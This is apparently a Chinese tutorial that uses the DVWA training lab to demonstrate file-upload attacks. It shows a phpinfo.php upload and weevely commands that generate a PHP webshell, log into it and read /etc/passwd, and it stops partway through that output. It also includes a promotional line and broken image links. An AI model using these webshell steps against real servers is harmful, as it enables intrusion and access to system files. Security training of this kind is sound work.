说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。
把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。
低级
用户界面是这样的,是一个简单的上传文件功能。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d3icyKg0-1649937725948)(https://www.tuchuang001.com/images/2018/10/09/dvwa-file-upload-ui.png)]
然而 Hacker 就上传一个 phpinfo.php 文件
<?
phpinfo();
?>
。。。结果如下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-npUaPHJZ-1649937725951)(https://www.tuchuang001.com/images/2018/10/09/dvwa-file-upload-success.png)]
然后打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。
Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。
surprise! 500G网络安全学习资料,👉戳此免费获取
weevely generate 123456 /root/webshell.php
Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.
上传完文件后,登录
weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456
weevely> ls
dvwa_email.png
webshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/b